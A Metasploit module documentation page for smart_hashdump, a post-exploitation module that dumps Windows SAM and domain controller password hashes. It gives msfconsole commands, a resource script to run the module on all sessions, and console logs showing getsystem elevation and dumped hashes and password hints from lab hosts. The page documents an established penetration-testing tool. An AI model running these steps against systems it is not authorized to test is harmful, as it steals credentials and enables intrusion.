Windows Gather Local and Domain Controller Account Password Hashes - Metasploit
This page contains detailed information about how to use the post/windows/gather/smart_hashdump metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Windows Gather Local and Domain Controller Account Password Hashes
Module: post/windows/gather/smart_hashdump
Source code: modules/post/windows/gather/smart_hashdump.rb
Disclosure date: -
Last modification time: 2021-10-06 13:43:31 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -
This will dump local accounts from the SAM Database. If the target host is a Domain Controller, it will dump the Domain Account Database using the proper technique depending on privilege level, OS and role of the host.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
There are two ways to execute this post module.
From the Meterpreter prompt
The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:
meterpreter > run post/windows/gather/smart_hashdump
From the msf prompt
The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.
msf > use post/windows/gather/smart_hashdump
msf post(smart_hashdump) > show options
... show and set options ...
msf post(smart_hashdump) > set SESSION session-id
msf post(smart_hashdump) > exploit
If you wish to run the post against all sessions from framework, here is how:
1 - Create the following resource script:
framework.sessions.each_pair do |sid, session|
run_single("use post/windows/gather/smart_hashdump")
run_single("set SESSION #{sid}")
run_single("run")
end
2 - At the msf prompt, execute the above resource script:
msf > resource path-to-resource-script
Required Options
- SESSION: The session to run this module on.
Knowledge Base
Vulnerable Application
The post/windows/gather/smart_hashdump module dumps local accounts from the SAM database. If the target host is a Domain Controller, it will dump the Domain Account Database using the proper technique depending on privilege level, OS and role of the host.
Hashes will be saved to the Metasploit database in John the Ripper format for later use.
To be able to use post/windows/gather/smart_hashdump, you must meet these requirements:
- You are on a Meterpreter type session.
- The target is a Windows platform.
- It must be executed under the context of a high privilege account, such as SYSTEM.
Verification Steps
- Obtain a meterpreter shell on a Windows system, and ensure that you have SYSTEM privileges or are running as a highly privileged user.
use post/windows/gather/smart_hashdump
- Specify the session, eg:
set SESSION 1
- If necessary, tell the module to attempt to elevate to SYSTEM before
attempting to dump the credentials with the command:
set GETSYSTEM true
. - Run the module.
Options
GETSYSTEM
Attempt to run the getsystem
module on the target host to get NT AUTHORITY\SYSTEM
privileges prior to dumping the hashes.
Scenarios
High Privilege Account on Windows 10 x64 v2004
Before using post/windows/gather/smart_hashdump, there is a possibility you need to escalate your privileges.
This module features a GETSYSTEM
option, which will attempt to elevate from a high privileged account to NT AUTHORITY\SYSTEM
.
This can be seen in the following example which is running as a high privileged user in which the module
fails to run successfully as the current user is not NT AUTHORITY\SYSTEM
. By using the GETSYSTEM
option, the user is able
to elevate themselves to NT AUTHORITY\SYSTEM
using Metasploit's getsystem
module, after which they are then able
to dump the password hashes.
msf6 exploit(multi/handler) > use post/windows/gather/smart_hashdump
msf6 post(windows/gather/smart_hashdump) > show options
Module options (post/windows/gather/smart_hashdump):
Name Current Setting Required Description
---- --------------- -------- -----------
GETSYSTEM false no Attempt to get SYSTEM privilege on the target host.
SESSION yes The session to run this module on.
msf6 post(windows/gather/smart_hashdump) > set SESSION 1
SESSION => 1
msf6 post(windows/gather/smart_hashdump) > run
[*] Running module against DESKTOP-G7A2R2R
[*] Hashes will be saved to the database if one is connected.
[+] Hashes will be saved in loot in JtR password file format to:
[*] /home/kali/.msf4/loot/20201008121933_default_192.168.56.117_windows.hashes_338495.txt
[-] Insufficient privileges to dump hashes!
[*] Post module execution completed
msf6 post(windows/gather/smart_hashdump) > set GETSYSTEM true
GETSYSTEM => true
msf6 post(windows/gather/smart_hashdump) > run
[*] Running module against DESKTOP-G7A2R2R
[*] Hashes will be saved to the database if one is connected.
[+] Hashes will be saved in loot in JtR password file format to:
[*] /home/kali/.msf4/loot/20201008122008_default_192.168.56.117_windows.hashes_353942.txt
[*] Dumping password hashes...
[*] Trying to get SYSTEM privilege
[+] Got SYSTEM privilege
[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY 4934844cf0365459683ed18d9ebcb903...
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
[*] Dumping password hints...
[*] No users with password hints on this system
[*] Dumping password hashes...
[+] Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[+] DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[+] WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[+] user:1001:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Post module execution completed
Running as the SYSTEM user on Windows 7 x64 SP1
msf6 exploit(multi/handler) > exploit
[] Started bind TCP handler against 172.24.15.185:4444 [] Sending stage (200262 bytes) to 172.24.15.185 [*] Meterpreter session 1 opened (0.0.0.0:0 -> 172.24.15.185:4444) at 2020-10-08 12:46:47 -0500
meterpreter > getuid Server username: test-PC\test meterpreter > getsystem ...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)). meterpreter > getuid Server username: NT AUTHORITY\SYSTEM meterpreter > background [] Backgrounding session 1... msf6 exploit(multi/handler) > use post/windows/gather/smart_hashdump msf6 post(windows/gather/smart_hashdump) > sessions -i 1 [] Starting interaction with 1...
meterpreter > sysinfo Computer : TEST-PC OS : Windows 7 (6.1 Build 7601, Service Pack 1). Architecture : x64 System Language : en_US Domain : WORKGROUP Logged On Users : 2 Meterpreter : x64/windows meterpreter > background [*] Backgrounding session 1... msf6 post(windows/gather/smart_hashdump) > set SESSION 1 SESSION => 1 msf6 post(windows/gather/smart_hashdump) > run
[] Running module against TEST-PC
[] Hashes will be saved to the database if one is connected.
[+] Hashes will be saved in loot in JtR password file format to:
[] /home/gwillcox/.msf4/loot/20201008124735_default_172.24.15.185_windows.hashes_456389.txt
[] Dumping password hashes...
[] Running as SYSTEM extracting hashes from registry
[] Obtaining the boot key...
[] Calculating the hboot key using SYSKEY 8e9f8fa11359f037112782911694d611...
[] Obtaining the user list and keys...
[] Decrypting user keys...
[] Dumping password hints...
[+] test:"a"
[+] test2:"asdf"
[] Dumping password hashes...
[+] Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[+] test:1000:aad3b435b51404eeaad3b435b51404ee:0cb6948805f797bf2a82807973b89537:::
[+] test2:1001:aad3b435b51404eeaad3b435b51404ee:0e8231621f574d3636255ff36dd86c9c:::
[] Post module execution completed
msf6 post(windows/gather/smart_hashdump) >
Go back to menu.
Msfconsole Usage
Here is how the windows/gather/smart_hashdump post exploitation module looks in the msfconsole:
msf6 > use post/windows/gather/smart_hashdump
msf6 post(windows/gather/smart_hashdump) > show info
Name: Windows Gather Local and Domain Controller Account Password Hashes
Module: post/windows/gather/smart_hashdump
Platform: Windows
Arch:
Rank: Normal
Provided by:
Carlos Perez <[email protected]>
Compatible session types:
Meterpreter
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
GETSYSTEM false no Attempt to get SYSTEM privilege on the target host.
SESSION yes The session to run this module on.
Description:
This will dump local accounts from the SAM Database. If the target
host is a Domain Controller, it will dump the Domain Account
Database using the proper technique depending on privilege level, OS
and role of the host.
Module Options
This is a complete list of options available in the windows/gather/smart_hashdump post exploitation module:
msf6 post(windows/gather/smart_hashdump) > show options
Module options (post/windows/gather/smart_hashdump):
Name Current Setting Required Description
---- --------------- -------- -----------
GETSYSTEM false no Attempt to get SYSTEM privilege on the target host.
SESSION yes The session to run this module on.
Advanced Options
Here is a complete list of advanced options supported by the windows/gather/smart_hashdump post exploitation module:
msf6 post(windows/gather/smart_hashdump) > show advanced
Module advanced options (post/windows/gather/smart_hashdump):
Name Current Setting Required Description
---- --------------- -------- -----------
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Post Actions
This is a list of all post exploitation actions which the windows/gather/smart_hashdump module can do:
msf6 post(windows/gather/smart_hashdump) > show actions
Post actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the windows/gather/smart_hashdump post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 post(windows/gather/smart_hashdump) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
- Handle is invalid, retrying...
- Meterpreter Exception: <E.CLASS> <E>
- This script requires the use of a SYSTEM user context (hint: migrate into service process)
- Error: <E.CLASS> <E> <E.BACKTRACE>
- Failed to dump hashes as SYSTEM, trying to migrate to another process
- Could not get NTDS hashes!
- Could not obtain SYSTEM privileges
- Could not get NTDS hashes!
- Could not obtain SYSTEM privilege
- On this version of Windows you need to be NT AUTHORITYSYSTEM to dump the hashes
- Try setting GETSYSTEM to true.
- Could not obtain SYSTEM privileges
- Insufficient privileges to dump hashes!
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Handle is invalid, retrying...
Here is a relevant code snippet related to the "Handle is invalid, retrying..." error message:
288: rescue ::Rex::Post::Meterpreter::RequestError => e
289: # Sometimes we get this invalid handle race condition.
290: # So let's retry a couple of times before giving up.
291: # See bug #6815
292: if (tries < 5) && e.to_s =~ /The handle is invalid/
293: print_status('Handle is invalid, retrying...')
294: tries += 1
295: retry
296:
297: else
298: print_error("Meterpreter Exception: #{e.class} #{e}")
Meterpreter Exception: <E.CLASS> <E>
Here is a relevant code snippet related to the "Meterpreter Exception: <E.CLASS> <E>" error message:
293: print_status('Handle is invalid, retrying...')
294: tries += 1
295: retry
296:
297: else
298: print_error("Meterpreter Exception: #{e.class} #{e}")
299: print_error('This script requires the use of a SYSTEM user context (hint: migrate into service process)')
300: end
301: rescue ::Exception => e
302: print_error("Error: #{e.class} #{e} #{e.backtrace}")
303: end
This script requires the use of a SYSTEM user context (hint: migrate into service process)
Here is a relevant code snippet related to the "This script requires the use of a SYSTEM user context (hint: migrate into service process)" error message:
294: tries += 1
295: retry
296:
297: else
298: print_error("Meterpreter Exception: #{e.class} #{e}")
299: print_error('This script requires the use of a SYSTEM user context (hint: migrate into service process)')
300: end
301: rescue ::Exception => e
302: print_error("Error: #{e.class} #{e} #{e.backtrace}")
303: end
304: return collected_hashes
Error: <E.CLASS> <E> <E.BACKTRACE>
Here is a relevant code snippet related to the "Error: <E.CLASS> <E> <E.BACKTRACE>" error message:
297: else
298: print_error("Meterpreter Exception: #{e.class} #{e}")
299: print_error('This script requires the use of a SYSTEM user context (hint: migrate into service process)')
300: end
301: rescue ::Exception => e
302: print_error("Error: #{e.class} #{e} #{e.backtrace}")
303: end
304: return collected_hashes
305: end
306: #-------------------------------------------------------------------------------
307:
Failed to dump hashes as SYSTEM, trying to migrate to another process
Here is a relevant code snippet related to the "Failed to dump hashes as SYSTEM, trying to migrate to another process" error message:
422: # For DC's the registry read method does not work.
423: if domain_controller
424: begin
425: file_local_write(pwdfile, inject_hashdump)
426: rescue ::Exception => e
427: print_error('Failed to dump hashes as SYSTEM, trying to migrate to another process')
428:
429: if sysinfo['OS'] =~ /Windows (2008|2012)/i
430: move_to_sys
431: file_local_write(pwdfile, inject_hashdump)
432: else
Could not get NTDS hashes!
Here is a relevant code snippet related to the "Could not get NTDS hashes!" error message:
428:
429: if sysinfo['OS'] =~ /Windows (2008|2012)/i
430: move_to_sys
431: file_local_write(pwdfile, inject_hashdump)
432: else
433: print_error('Could not get NTDS hashes!')
434: end
435: end
436:
437: # Check if not DC
438: else
Could not obtain SYSTEM privileges
Here is a relevant code snippet related to the "Could not obtain SYSTEM privileges" error message:
459: # inject and dump the hashes.
460: move_to_sys
461: end
462: file_local_write(pwdfile, inject_hashdump)
463: else
464: print_error('Could not obtain SYSTEM privileges')
465: end
466: else
467: print_error('Could not get NTDS hashes!')
468: end
469: end
Could not get NTDS hashes!
Here is a relevant code snippet related to the "Could not get NTDS hashes!" error message:
462: file_local_write(pwdfile, inject_hashdump)
463: else
464: print_error('Could not obtain SYSTEM privileges')
465: end
466: else
467: print_error('Could not get NTDS hashes!')
468: end
469: end
470: elsif sysinfo['OS'] =~ /Windows (7|8|2008|2012|Vista)/i
471: if migrate_system
472: print_status('Trying to get SYSTEM privilege')
Could not obtain SYSTEM privilege
Here is a relevant code snippet related to the "Could not obtain SYSTEM privilege" error message:
473: results = session.priv.getsystem
474: if results[0]
475: print_good('Got SYSTEM privilege')
476: file_local_write(pwdfile, read_hashdump)
477: else
478: print_error('Could not obtain SYSTEM privilege')
479: end
480: else
481: print_error('On this version of Windows you need to be NT AUTHORITY\\SYSTEM to dump the hashes')
482: print_error('Try setting GETSYSTEM to true.')
483: end
On this version of Windows you need to be NT AUTHORITY\SYSTEM to dump the hashes
Here is a relevant code snippet related to the "On this version of Windows you need to be NT AUTHORITY\SYSTEM to dump the hashes" error message:
476: file_local_write(pwdfile, read_hashdump)
477: else
478: print_error('Could not obtain SYSTEM privilege')
479: end
480: else
481: print_error('On this version of Windows you need to be NT AUTHORITY\\SYSTEM to dump the hashes')
482: print_error('Try setting GETSYSTEM to true.')
483: end
484:
485: else
486: if migrate_system
Try setting GETSYSTEM to true.
Here is a relevant code snippet related to the "Try setting GETSYSTEM to true." error message:
477: else
478: print_error('Could not obtain SYSTEM privilege')
479: end
480: else
481: print_error('On this version of Windows you need to be NT AUTHORITY\\SYSTEM to dump the hashes')
482: print_error('Try setting GETSYSTEM to true.')
483: end
484:
485: else
486: if migrate_system
487: print_status('Trying to get SYSTEM privilege')
Could not obtain SYSTEM privileges
Here is a relevant code snippet related to the "Could not obtain SYSTEM privileges" error message:
488: results = session.priv.getsystem
489: if results[0]
490: print_good('Got SYSTEM privilege')
491: file_local_write(pwdfile, read_hashdump)
492: else
493: print_error('Could not obtain SYSTEM privileges')
494: end
495: else
496: file_local_write(pwdfile, inject_hashdump)
497: end
498:
Insufficient privileges to dump hashes!
Here is a relevant code snippet related to the "Insufficient privileges to dump hashes!" error message:
496: file_local_write(pwdfile, inject_hashdump)
497: end
498:
499: end
500:
501: end
502: else
503: print_error('Insufficient privileges to dump hashes!')
504: end
505: end
506: end
Go back to menu.
Related Pull Requests
- #14202 Merged Pull Request: Implement the zeitwerk autoloader within lib/msf/core
- #14235 Merged Pull Request: Bugfix: Don't skip dumping RID 1001's hash with smart_hashdump
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #7862 Merged Pull Request: Ruby 2.4 local fixes for metasploit-framework
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #4463 Merged Pull Request: Added underscore to user regex in smart_hashdump.rb to support usernames...
- #2532 Merged Pull Request: move Rob Bathurst enum_lsa module in from the unstable cold
- #2525 Merged Pull Request: Change module boilerplate
- #2304 Merged Pull Request: Fix load order in posts, hopefully forever
- #1933 Merged Pull Request: Update smart_hashdump Regular Expressions for Windows 8 and 2012
- #1242 Merged Pull Request: Msftidy fixes
- #1241 Merged Pull Request: Removed all $Id$ and $Revision$ occurences
Go back to menu.
See Also
Check also the following modules related to this module:
- post/windows/gather/ad_to_sqlite
- post/windows/gather/arp_scanner
- post/windows/gather/avast_memory_dump
- post/windows/gather/bitcoin_jacker
- post/windows/gather/bitlocker_fvek
- post/windows/gather/bloodhound
- post/windows/gather/cachedump
- post/windows/gather/checkvm
- post/windows/gather/dnscache_dump
- post/windows/gather/dumplinks
- post/windows/gather/enum_ad_bitlocker
- post/windows/gather/enum_ad_computers
- post/windows/gather/enum_ad_groups
- post/windows/gather/enum_ad_managedby_groups
- post/windows/gather/enum_ad_service_principal_names
- post/windows/gather/enum_ad_to_wordlist
- post/windows/gather/enum_ad_user_comments
- post/windows/gather/enum_ad_users
- post/windows/gather/enum_applications
- post/windows/gather/enum_artifacts
- post/windows/gather/exchange
- post/windows/gather/file_from_raw_ntfs
- post/windows/gather/get_bookmarks
- post/windows/gather/hashdump
- post/windows/gather/local_admin_search_enum
- post/windows/gather/lsa_secrets
- post/windows/gather/make_csv_orgchart
- post/windows/gather/memory_dump
- post/windows/gather/memory_grep
- post/windows/gather/netlm_downgrade
- post/windows/gather/ntds_grabber
- post/windows/gather/ntds_location
- post/windows/gather/outlook
- post/windows/gather/phish_windows_credentials
- post/windows/gather/psreadline_history
- post/windows/gather/resolve_sid
- post/windows/gather/reverse_lookup
- post/windows/gather/screen_spy
- post/windows/gather/tcpnetstat
- post/windows/gather/usb_history
- post/windows/gather/win_privs
- post/windows/gather/wmic_command
- post/windows/gather/word_unc_injector
Authors
- Carlos Perez <carlos_perez[at]darkoperator.com>
Version
This page has been produced using Metasploit Framework version 6.2.1-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.